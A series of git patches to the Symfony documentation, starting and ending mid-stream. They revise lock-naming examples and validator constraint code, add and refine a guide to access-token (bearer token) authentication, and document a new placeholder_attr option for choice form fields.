-now let's see how to lock ``$pdf->getOrCreatePdf($version)`` only for
+showed how to lock the ``$pdf->getOrCreatePdf()`` call for everybody,
+now let's see how to lock a ``$pdf->getOrCreatePdf($version)`` call only for
 processes asking for the same ``$version``::
 
     // src/Controller/PdfController.php
@@ -217,7 +217,7 @@ processes asking for the same ``$version``::
          */
         public function downloadPdf($version, LockFactory $lockFactory, MyPdfGeneratorService $pdf)
         {
-            $lock = $lockFactory->createLock($version);
+            $lock = $lockFactory->createLock('pdf-creation-'.$version);
             $lock->acquire(true);
 
             // heavy computation
@@ -231,8 +231,8 @@ processes asking for the same ``$version``::
 
 .. _lock-named-locks:
 
-Named Lock
-----------
+Naming Locks
+------------
 
 If the application needs different kind of Stores alongside each other, Symfony
 provides :ref:`named lock <reference-lock-resources-name>`:
@@ -279,13 +279,27 @@ provides :ref:`named lock <reference-lock-resources-name>`:
             ;
         };
 
+An autowiring alias is created for each named lock with a name using the camel
+case version of its name suffixed by ``LockFactory``.
 
-Each name becomes a service where the service id is part of the name of the
-lock (e.g. ``lock.invoice.factory``). An autowiring alias is also created for
-each lock using the camel case version of its name suffixed by ``LockFactory``
-- e.g. ``invoice`` can be injected automatically by naming the argument
+For instance, the ``invoice`` lock can be injected by naming the argument
 ``$invoiceLockFactory`` and type-hinting it with
-:class:`Symfony\\Component\\Lock\\LockFactory`.
+:class:`Symfony\\Component\\Lock\\LockFactory`:
+
+    // src/Controller/PdfController.php
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\Lock\LockFactory;
+
+    class PdfController extends AbstractController
+    {
+        #[Route('/download/terms-of-use.pdf')]
+        public function downloadPdf(LockFactory $invoiceLockFactory, MyPdfGeneratorService $pdf)
+        {
+            // ...
+        }
+    }
 
 Blocking Store
 --------------

From 8fe54b8cb1b68328d31148be37653919a357d4fb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 25 Nov 2022 17:15:30 +0100
Subject: [PATCH 2543/5766] Sort imports alphabetically

---
 templates.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templates.rst b/templates.rst
index b527e18b57b..88e8f50b0a5 100644
--- a/templates.rst
+++ b/templates.rst
@@ -461,9 +461,9 @@ to define the template to render::
     // src/Controller/ProductController.php
     namespace App\Controller;
 
+    use Symfony\Bridge\Twig\Attribute\Template;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Bridge\Twig\Attribute\Template;
 
     class ProductController extends AbstractController
     {

From f61ca2aece1126eece00ac4f70e17aa208396c4c Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sat, 26 Nov 2022 10:39:21 +0100
Subject: [PATCH 2544/5766] [Validator] Removal code-block php-annotations

---
 validation/custom_constraint.rst | 57 +++++++++-----------------------
 1 file changed, 15 insertions(+), 42 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index e320cd5e45a..c061c23f682 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -38,54 +38,27 @@ use it as an annotation/attribute in other classes.
 
     The ``#[HasNamedArguments]`` attribute was introduced in Symfony 6.1.
 
-You can use ``#[HasNamedArguments]`` or ``getRequiredOptions()`` to make some constraint options required:
+You can use ``#[HasNamedArguments]`` or ``getRequiredOptions()`` to make some constraint options required::
 
-.. configuration-block::
-
-    .. code-block:: php-annotations
-
-        // src/Validator/ContainsAlphanumeric.php
-        namespace App\Validator;
-
-        use Symfony\Component\Validator\Constraint;
-
-        /**
-         * @Annotation
-         */
-        class ContainsAlphanumeric extends Constraint
-        {
-            public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
-            public $mode;
-
-            public function getRequiredOptions(): array
-            {
-                return ['mode'];
-            }
-        }
-
-    .. code-block:: php-attributes
+    // src/Validator/ContainsAlphanumeric.php
+    namespace App\Validator;
 
-        // src/Validator/ContainsAlphanumeric.php
-        namespace App\Validator;
+    use Symfony\Component\Validator\Attribute\HasNamedArguments;
+    use Symfony\Component\Validator\Constraint;
 
-        use Symfony\Component\Validator\Attribute\HasNamedArguments;
-        use Symfony\Component\Validator\Constraint;
+    #[\Attribute]
+    class ContainsAlphanumeric extends Constraint
+    {
+        public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
+        public string $mode;
 
-        #[\Attribute]
-        class ContainsAlphanumeric extends Constraint
+        #[HasNamedArguments]
+        public function __construct(string $mode, array $groups = null, mixed $payload = null)
         {
-            public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
-
-            public string $mode;
-
-            #[HasNamedArguments]
-            public function __construct(string $mode, array $groups = null, mixed $payload = null)
-            {
-                parent::__construct([], $groups, $payload);
-
-                $this->mode = $mode;
-            }
+            parent::__construct([], $groups, $payload);
+            $this->mode = $mode;
         }
+    }
 
 Creating the Validator itself
 -----------------------------

From 600bb80835fc319e1fa87a314d939f30ceb97c3a Mon Sep 17 00:00:00 2001
From: Florent Morselli <contact@spomky-labs.com>
Date: Thu, 11 Aug 2022 13:44:45 +0200
Subject: [PATCH 2545/5766] Access Token Documentation

---
 security.rst              |   9 ++
 security/access_token.rst | 182 ++++++++++++++++++++++++++++++++++++++
 2 files changed, 191 insertions(+)
 create mode 100644 security/access_token.rst

diff --git a/security.rst b/security.rst
index 81a0aa4d0a2..5fe2a26d40d 100644
--- a/security.rst
+++ b/security.rst
@@ -1202,6 +1202,15 @@ website.
 
 You can learn all about this authenticator in :doc:`/security/login_link`.
 
+Access Tokens
+~~~~~~~~~~~~~
+
+Access Tokens are often used in API contexts.
+The user receives a token from an authorization server
+which authenticates them.
+
+You can learn all about this authenticator in :doc:`/security/access_token`.
+
 X.509 Client Certificates
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/security/access_token.rst b/security/access_token.rst
new file mode 100644
index 00000000000..79eb7b9449d
--- /dev/null
+++ b/security/access_token.rst
@@ -0,0 +1,182 @@
+.. index::
+   single: Security; Access Token
+
+How to use Access Token Authentication
+======================================
+
+Access tokens are commonly used in API contexts. The access token is obtained
+through an authorization server (or similar) whose role is to verify the user identity
+and receive consent before the token is issued.
+
+Access Tokens can be of any kind: opaque strings, Json Web Tokens (JWT) or SAML2 (XML structures).
+Please refer to the `RFC6750`_: *The OAuth 2.0 Authorization Framework: Bearer Token Usage*.
+
+Using the Access Token Authenticator
+------------------------------------
+
+This guide assumes you have setup security and have created a user object
+in your application. Follow :doc:`the main security guide </security>` if
+this is not yet the case.
+
+1) Configure the Access Token Authenticator
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+To use the access token authenticator, you must configure a ``token_handler``.
+The token handler retrieves the user identifier from the token.
+In order to get the user identifier, implementations may need to load and validate
+the token (e.g. revocation, expiration time, digital signature...).
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    access_token:
+                        token_handler: App\Security\AccessTokenHandler
+
+This handler shall implement the interface
+:class:`Symfony\\Component\\Security\\Http\\AccessToken\\AccessTokenHandlerInterface`.
+In the following example, the handler will retrieve the token from a database
+using a fictive repository.
+
+.. configuration-block::
+
+    .. code-block:: php
+
+        // src/Security/AccessTokenHandler.php
+        namespace App\Security;
+
+        use App\Repository\AccessTokenRepository;
+        use Symfony\Component\Security\Http\AccessToken\AccessTokenHandlerInterface;
+
+        class AccessTokenHandler implements AccessTokenHandlerInterface
+        {
+            public function __construct(
+                private readonly AccessTokenRepository $repository
+            ) {
+            }
+
+            public function getUserIdentifierFrom(string $token): string
+            {
+                $accessToken = $this->repository->findOneByValue($token);
+                if ($accessToken === null || !$accessToken->isValid()) {
+                    throw new BadCredentialsException('Invalid credentials.');
+                }
+
+                return $accessToken->getUserId();
+            }
+        }
+
+.. caution::
+
+    It is important to check the token is valid.
+    For instance, in the example we verify the token has not expired.
+    With self-contained access tokens such as JWT, the handler is required to
+    verify the digital signature and understand all claims,
+    especially ``sub``, ``iat``, ``nbf`` and ``exp``.
+
+Customizing the Authenticator
+-----------------------------
+
+1) Access Token Extractors
+
+By default, the access token is read from the request header parameter ``Authorization`` with the scheme ``Bearer``.
+You can change the behavior and send the access token through different ways.
+
+This authenticator provides services able to extract the access token as per the RFC6750:
+
+- ``header`` or ``security.access_token_extractor.header``: the token is sent through the request header. Usually ``Authorization`` with the ``Bearer`` scheme.
+- ``query_string`` or ``security.access_token_extractor.query_string``: the token is part of the query string. Usually ``access_token``.
+- ``request_body`` or ``security.access_token_extractor.request_body``: the token is part of the request body during a POST request. Usually ``access_token``.
+
+.. caution::
+
+    Because of the security weaknesses associated with the URI method,
+    including the high likelihood that the URL or the request body containing the access token will be logged,
+    methods ``query_string`` and ``request_body`` **SHOULD NOT** be used unless it is impossible
+    to transport the access token in the request header field.
+
+Also, you can also create a custom extractor. The class shall implement the interface
+:class:`Symfony\\Component\\Security\\Http\\AccessToken\\AccessTokenExtractorInterface`.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    access_token:
+                        token_handler: App\Security\AccessTokenHandler
+                        token_extractors: 'my_custom_access_token_extractor'
+
+It is possible to set multiple extractors.
+In this case, **the order is important**: the first in the list is called first.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    access_token:
+                        token_handler: App\Security\AccessTokenHandler
+                        token_extractors:
+                            - 'header'
+                            - 'request_body'
+                            - 'query_string'
+                            - 'my_custom_access_token_extractor'
+
+2) Customizing the Success Handler
+
+Sometimes, the default success handling does not fit your use-case (e.g.
+when you need to generate and return additional response header parameters).
+To customize how the success handler behaves, create your own handler as a class that implements
+:class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationSuccessHandlerInterface`::
+
+    // src/Security/Authentication/AuthenticationSuccessHandler.php
+    namespace App\Security\Authentication;
+
+    use Symfony\Component\HttpFoundation\JsonResponse;
+    use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
+    use Symfony\Component\Security\Http\Authentication\AuthenticationSuccessHandlerInterface;
+
+    class AuthenticationSuccessHandler implements AuthenticationSuccessHandlerInterface
+    {
+        public function onAuthenticationSuccess(Request $request, TokenInterface $token): JsonResponse
+        {
+            $user = $token->getUser();
+            $userApiToken = $user->getApiToken();
+
+            return new JsonResponse(['apiToken' => $userApiToken]);
+        }
+    }
+
+Then, configure this service ID as the ``success_handler``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    access_token:
+                        token_handler: App\Security\AccessTokenHandler
+                        success_handler: App\Security\Authentication\AuthenticationSuccessHandler
+
+.. tip::
+
+    If you want to customize the default failure handling, use the
+    ``failure_handler`` option and create a class that implements
+    :class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationFailureHandlerInterface`.
+
+.. _`RFC6750`: https://datatracker.ietf.org/doc/html/rfc6750

From b65c136850d2c50ba8d1b47f3a840a823771b26e Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 5 Nov 2022 15:02:21 +0100
Subject: [PATCH 2546/5766] Finish the docs for the new Access token
 authenticator

---
 security/access_token.rst | 317 +++++++++++++++++++++++++++++---------
 1 file changed, 241 insertions(+), 76 deletions(-)

diff --git a/security/access_token.rst b/security/access_token.rst
index 79eb7b9449d..65fd072cc79 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -4,12 +4,16 @@
 How to use Access Token Authentication
 ======================================
 
-Access tokens are commonly used in API contexts. The access token is obtained
-through an authorization server (or similar) whose role is to verify the user identity
-and receive consent before the token is issued.
+Access tokens or API tokens are commonly used as authentication mechanism
+in API contexts. The access token is a string, obtained during authentication
+(using the application or an authorization server). The access token's role
+is to verify the user identity and receive consent before the token is
+issued.
 
-Access Tokens can be of any kind: opaque strings, Json Web Tokens (JWT) or SAML2 (XML structures).
-Please refer to the `RFC6750`_: *The OAuth 2.0 Authorization Framework: Bearer Token Usage*.
+Access tokens can be of any kind, for instance opaque strings,
+`JSON Web Tokens (JWT)`_ or `SAML2 (XML structures)`_. Please refer to the
+`RFC6750`_: *The OAuth 2.0 Authorization Framework: Bearer Token Usage* for
+a detailed specification.
 
 Using the Access Token Authenticator
 ------------------------------------
@@ -22,9 +26,10 @@ this is not yet the case.
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 To use the access token authenticator, you must configure a ``token_handler``.
-The token handler retrieves the user identifier from the token.
-In order to get the user identifier, implementations may need to load and validate
-the token (e.g. revocation, expiration time, digital signature...).
+The token handler receives the token from the request and returns the
+correct user identifier. To get the user identifier, implementations may
+need to load and validate the token (e.g. revocation, expiration time,
+digital signature, etc.).
 
 .. configuration-block::
 
@@ -37,69 +42,108 @@ the token (e.g. revocation, expiration time, digital signature...).
                     access_token:
                         token_handler: App\Security\AccessTokenHandler
 
-This handler shall implement the interface
-:class:`Symfony\\Component\\Security\\Http\\AccessToken\\AccessTokenHandlerInterface`.
-In the following example, the handler will retrieve the token from a database
-using a fictive repository.
-
-.. configuration-block::
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <access-token token-handler="App\Security\AccessTokenHandler"/>
+                </firewall>
+            </config>
+        </srv:container>
 
     .. code-block:: php
 
-        // src/Security/AccessTokenHandler.php
-        namespace App\Security;
+        // config/packages/security.php
+        use App\Security\AccessTokenHandler;
+        use Symfony\Config\SecurityConfig;
 
-        use App\Repository\AccessTokenRepository;
-        use Symfony\Component\Security\Http\AccessToken\AccessTokenHandlerInterface;
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->accessToken()
+                    ->tokenHandler(AccessTokenHandler::class)
+            ;
+        };
 
-        class AccessTokenHandler implements AccessTokenHandlerInterface
-        {
-            public function __construct(
-                private readonly AccessTokenRepository $repository
-            ) {
-            }
+This handler must implement
+:class:`Symfony\\Component\\Security\\Http\\AccessToken\\AccessTokenHandlerInterface`::
+
+    // src/Security/AccessTokenHandler.php
+    namespace App\Security;
 
-            public function getUserIdentifierFrom(string $token): string
-            {
-                $accessToken = $this->repository->findOneByValue($token);
-                if ($accessToken === null || !$accessToken->isValid()) {
-                    throw new BadCredentialsException('Invalid credentials.');
-                }
+    use App\Repository\AccessTokenRepository;
+    use Symfony\Component\Security\Http\AccessToken\AccessTokenHandlerInterface;
 
-                return $accessToken->getUserId();
+    class AccessTokenHandler implements AccessTokenHandlerInterface
+    {
+        public function __construct(
+            private AccessTokenRepository $repository
+        ) {
+        }
+
+        public function getUserIdentifierFrom(string $token): string
+        {
+            // e.g. query the "access token" database to search for this token
+            $accessToken = $this->repository->findOneByValue($token);
+            if ($accessToken === null || !$accessToken->isValid()) {
+                throw new BadCredentialsException('Invalid credentials.');
             }
+
+            // and return the user identifier from the found token
+            return $accessToken->getUserId();
         }
+    }
+
+The access token authenticator will use the returned user identifier to
+load the user using the :ref:`user provider <security-user-providers>`.
 
 .. caution::
 
-    It is important to check the token is valid.
-    For instance, in the example we verify the token has not expired.
-    With self-contained access tokens such as JWT, the handler is required to
-    verify the digital signature and understand all claims,
-    especially ``sub``, ``iat``, ``nbf`` and ``exp``.
+    It is important to check the token if is valid. For instance, the
+    example above verifies whether the token has not expired. With
+    self-contained access tokens such as JWT, the handler is required to
+    verify the digital signature and understand all claims, especially
+    ``sub``, ``iat``, ``nbf`` and ``exp``.
 
-Customizing the Authenticator
------------------------------
+2) Configure the Token Extractor (Optional)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-1) Access Token Extractors
+The application is now ready to handle incoming tokens. A *token extractor*
+retrieves the token from the request (e.g. a header or request body).
 
-By default, the access token is read from the request header parameter ``Authorization`` with the scheme ``Bearer``.
-You can change the behavior and send the access token through different ways.
+By default, the access token is read from the request header parameter
+``Authorization`` with the scheme ``Bearer`` (e.g. ``Authorization: Bearer
+the-token-value``).
 
-This authenticator provides services able to extract the access token as per the RFC6750:
+Symfony provides other extractors as per the `RFC6750`_:
 
-- ``header`` or ``security.access_token_extractor.header``: the token is sent through the request header. Usually ``Authorization`` with the ``Bearer`` scheme.
-- ``query_string`` or ``security.access_token_extractor.query_string``: the token is part of the query string. Usually ``access_token``.
-- ``request_body`` or ``security.access_token_extractor.request_body``: the token is part of the request body during a POST request. Usually ``access_token``.
+``header`` (default)
+    The token is sent through the request header. Usually ``Authorization``
+    with the ``Bearer`` scheme.
+``query_string``
+    The token is part of the request query string. Usually ``access_token``.
+``request_body``
+    The token is part of the request body during a POST request. Usually
+    ``access_token``.
 
 .. caution::
 
     Because of the security weaknesses associated with the URI method,
-    including the high likelihood that the URL or the request body containing the access token will be logged,
-    methods ``query_string`` and ``request_body`` **SHOULD NOT** be used unless it is impossible
-    to transport the access token in the request header field.
+    including the high likelihood that the URL or the request body
+    containing the access token will be logged, methods ``query_string``
+    and ``request_body`` **SHOULD NOT** be used unless it is impossible to
+    transport the access token in the request header field.
 
-Also, you can also create a custom extractor. The class shall implement the interface
+You can also create a custom extractor. The class must implement
 :class:`Symfony\\Component\\Security\\Http\\AccessToken\\AccessTokenExtractorInterface`.
 
 .. configuration-block::
@@ -112,10 +156,60 @@ Also, you can also create a custom extractor. The class shall implement the inte
                 main:
                     access_token:
                         token_handler: App\Security\AccessTokenHandler
-                        token_extractors: 'my_custom_access_token_extractor'
 
-It is possible to set multiple extractors.
-In this case, **the order is important**: the first in the list is called first.
+                        # use a different built-in extractor
+                        token_extractors: request_body
+
+                        # or provide the service ID of a custom extractor
+                        token_extractors: 'App\Security\CustomTokenExtractor'
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <access-token token-handler="App\Security\AccessTokenHandler">
+                        <!-- use a different built-in extractor -->
+                        <token-extractor>request_body</token-extractor>
+
+                        <!-- or provide the service ID of a custom extractor -->
+                        <token-extractor>App\Security\CustomTokenExtractor</token-extractor>
+                    </access-token>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Security\AccessTokenHandler;
+        use App\Security\CustomTokenExtractor;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->accessToken()
+                    ->tokenHandler(AccessTokenHandler::class)
+
+                    // use a different built-in extractor
+                    ->tokenExtractors('request_body')
+
+                    # or provide the service ID of a custom extractor
+                    ->tokenExtractors(CustomTokenExtractor::class)
+            ;
+        };
+
+It is possible to set multiple extractors. In this case, **the order is
+important**: the first in the list is called first.
 
 .. configuration-block::
 
@@ -129,37 +223,70 @@ In this case, **the order is important**: the first in the list is called first.
                         token_handler: App\Security\AccessTokenHandler
                         token_extractors:
                             - 'header'
-                            - 'request_body'
-                            - 'query_string'
-                            - 'my_custom_access_token_extractor'
+                            - 'App\Security\CustomTokenExtractor'
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <access-token token-handler="App\Security\AccessTokenHandler">
+                        <token-extractor>header</token-extractor>
+                        <token-extractor>App\Security\CustomTokenExtractor</token-extractor>
+                    </access-token>
+                </firewall>
+            </config>
+        </srv:container>
 
-2) Customizing the Success Handler
+    .. code-block:: php
 
-Sometimes, the default success handling does not fit your use-case (e.g.
-when you need to generate and return additional response header parameters).
-To customize how the success handler behaves, create your own handler as a class that implements
-:class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationSuccessHandlerInterface`::
+        // config/packages/security.php
+        use App\Security\AccessTokenHandler;
+        use App\Security\CustomTokenExtractor;
+        use Symfony\Config\SecurityConfig;
 
-    // src/Security/Authentication/AuthenticationSuccessHandler.php
-    namespace App\Security\Authentication;
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->accessToken()
+                    ->tokenHandler(AccessTokenHandler::class)
+                    ->tokenExtractors([
+                        'header',
+                        CustomTokenExtractor::class,
+                    ])
+            ;
+        };
 
-    use Symfony\Component\HttpFoundation\JsonResponse;
-    use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
-    use Symfony\Component\Security\Http\Authentication\AuthenticationSuccessHandlerInterface;
+3) Submit a Request
+~~~~~~~~~~~~~~~~~~~
 
-    class AuthenticationSuccessHandler implements AuthenticationSuccessHandlerInterface
-    {
-        public function onAuthenticationSuccess(Request $request, TokenInterface $token): JsonResponse
-        {
-            $user = $token->getUser();
-            $userApiToken = $user->getApiToken();
+That's it! Your application can now authenticate incoming requests using an
+API token.
 
-            return new JsonResponse(['apiToken' => $userApiToken]);
-        }
-    }
+Using the default header extractor, you can test the feature by submitting
+a request like this:
 
-Then, configure this service ID as the ``success_handler``:
+.. code-block:: terminal
+
+    $ curl -H 'Authorization: Bearer an-accepted-token-value' \
+        https://localhost:8000/api/some-route
+
+Customizing the Success Handler
+-------------------------------
+
+By default, the request continues (e.g. the controller for the route is
+run). If you want to customize success handling, create your own success
+handler by creating a class that implements
+:class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationSuccessHandlerInterface`
+and configure the service ID as the ``success_handler``:
 
 .. configuration-block::
 
@@ -173,10 +300,48 @@ Then, configure this service ID as the ``success_handler``:
                         token_handler: App\Security\AccessTokenHandler
                         success_handler: App\Security\Authentication\AuthenticationSuccessHandler
 
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <access-token token-handler="App\Security\AccessTokenHandler"
+                        success-handler="App\Security\Authentication\AuthenticationSuccessHandler"
+                    />
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Security\AccessTokenHandler;
+        use App\Security\Authentication\AuthenticationSuccessHandler;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->accessToken()
+                    ->tokenHandler(AccessTokenHandler::class)
+                    ->successHandler(AuthenticationSuccessHandler::class)
+            ;
+        };
+
 .. tip::
 
     If you want to customize the default failure handling, use the
     ``failure_handler`` option and create a class that implements
     :class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationFailureHandlerInterface`.
 
+.. _`Json Web Tokens (JWT)`: https://datatracker.ietf.org/doc/html/rfc7519
+.. _`SAML2 (XML structures)`: https://docs.oasis-open.org/security/saml/Post2.0/sstc-saml-tech-overview-2.0.html
 .. _`RFC6750`: https://datatracker.ietf.org/doc/html/rfc6750

From f3f47adb6446934f6b5338825e5cb7a2fe7fae1b Mon Sep 17 00:00:00 2001
From: Florent Morselli <florent@morselli.fr>
Date: Fri, 25 Nov 2022 09:40:47 +0100
Subject: [PATCH 2547/5766] Update docs for 6.2.0-RC1 changes to
 TokenHandlerInterface

Co-authored-by: Vincent <vincentchalamon@protonmail.com>
---
 security/access_token.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/security/access_token.rst b/security/access_token.rst
index 65fd072cc79..e29267585c6 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -82,6 +82,7 @@ This handler must implement
 
     use App\Repository\AccessTokenRepository;
     use Symfony\Component\Security\Http\AccessToken\AccessTokenHandlerInterface;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
 
     class AccessTokenHandler implements AccessTokenHandlerInterface
     {
@@ -90,16 +91,16 @@ This handler must implement
         ) {
         }
 
-        public function getUserIdentifierFrom(string $token): string
+        public function getUserBadgeFrom(string $accessToken): UserBadge
         {
             // e.g. query the "access token" database to search for this token
             $accessToken = $this->repository->findOneByValue($token);
-            if ($accessToken === null || !$accessToken->isValid()) {
+            if (null === $accessToken || !$accessToken->isValid()) {
                 throw new BadCredentialsException('Invalid credentials.');
             }
 
-            // and return the user identifier from the found token
-            return $accessToken->getUserId();
+            // and return a UserBadge object containing the user identifier from the found token
+            return new UserBadge($accessToken->getUserId());
         }
     }
 

From 8fcd394faf71e578a2c9e7c5eb5a54cc75eceff2 Mon Sep 17 00:00:00 2001
From: Jordane Vaspard <jordane.vaspard@laposte.net>
Date: Sat, 26 Nov 2022 18:01:00 +0100
Subject: [PATCH 2548/5766] Add a placeholder_attr option to ChoiceType

---
 reference/forms/types/choice.rst              |  4 ++++
 reference/forms/types/country.rst             |  2 ++
 reference/forms/types/currency.rst            |  2 ++
 reference/forms/types/entity.rst              |  2 ++
 reference/forms/types/enum.rst                |  2 ++
 reference/forms/types/language.rst            |  2 ++
 reference/forms/types/locale.rst              |  2 ++
 .../types/options/placeholder_attr.rst.inc    | 21 +++++++++++++++++++
 reference/forms/types/timezone.rst            |  2 ++
 9 files changed, 39 insertions(+)
 create mode 100644 reference/forms/types/options/placeholder_attr.rst.inc

diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 9d2ade8df4c..154386c4ffb 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -212,6 +212,8 @@ the ``Choice`` constraint behave like a ``NotChoice`` constraint.
 
 .. include:: /reference/forms/types/options/placeholder.rst.inc
 
+.. include:: /reference/forms/types/options/placeholder_attr.rst.inc
+
 .. include:: /reference/forms/types/options/preferred_choices.rst.inc
 
 Overridden Options
@@ -311,6 +313,8 @@ Field Variables
 | placeholder                | ``mixed``    | The empty value if not already in the list, otherwise             |
 |                            |              | ``null``.                                                         |
 +----------------------------+--------------+-------------------------------------------------------------------+
+| placeholder_attr           | ``array``    | The value of the `placeholder_attr`_ option.                      |
++----------------------------+--------------+-------------------------------------------------------------------+
 | choice_translation_domain  | ``mixed``    | ``boolean``, ``null`` or ``string`` to determine if the value     |
 |                            |              | should be translated.                                             |
 +----------------------------+--------------+-------------------------------------------------------------------+
diff --git a/reference/forms/types/country.rst b/reference/forms/types/country.rst
index 4362cefd0d0..8c6e1bf20f9 100644
--- a/reference/forms/types/country.rst
+++ b/reference/forms/types/country.rst
@@ -81,6 +81,8 @@ These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`
 
 .. include:: /reference/forms/types/options/placeholder.rst.inc
 
+.. include:: /reference/forms/types/options/placeholder_attr.rst.inc
+
 .. include:: /reference/forms/types/options/preferred_choices.rst.inc
 
 .. include:: /reference/forms/types/options/choice_type_trim.rst.inc
diff --git a/reference/forms/types/currency.rst b/reference/forms/types/currency.rst
index 7ffa36a4f73..a80051022ae 100644
--- a/reference/forms/types/currency.rst
+++ b/reference/forms/types/currency.rst
@@ -62,6 +62,8 @@ These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`
 
 .. include:: /reference/forms/types/options/placeholder.rst.inc
 
+.. include:: /reference/forms/types/options/placeholder_attr.rst.inc
+
 .. include:: /reference/forms/types/options/preferred_choices.rst.inc
 
 .. include:: /reference/forms/types/options/choice_type_trim.rst.inc
diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index 721a503aae2..80712a98c75 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -256,6 +256,8 @@ Doctrine's Array Collection.
 
 .. include:: /reference/forms/types/options/placeholder.rst.inc
 
+.. include:: /reference/forms/types/options/placeholder_attr.rst.inc
+
 ``preferred_choices``
 ~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index 4ee2559f70b..f5c1378dc89 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -78,6 +78,8 @@ These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`
 
 .. include:: /reference/forms/types/options/placeholder.rst.inc
 
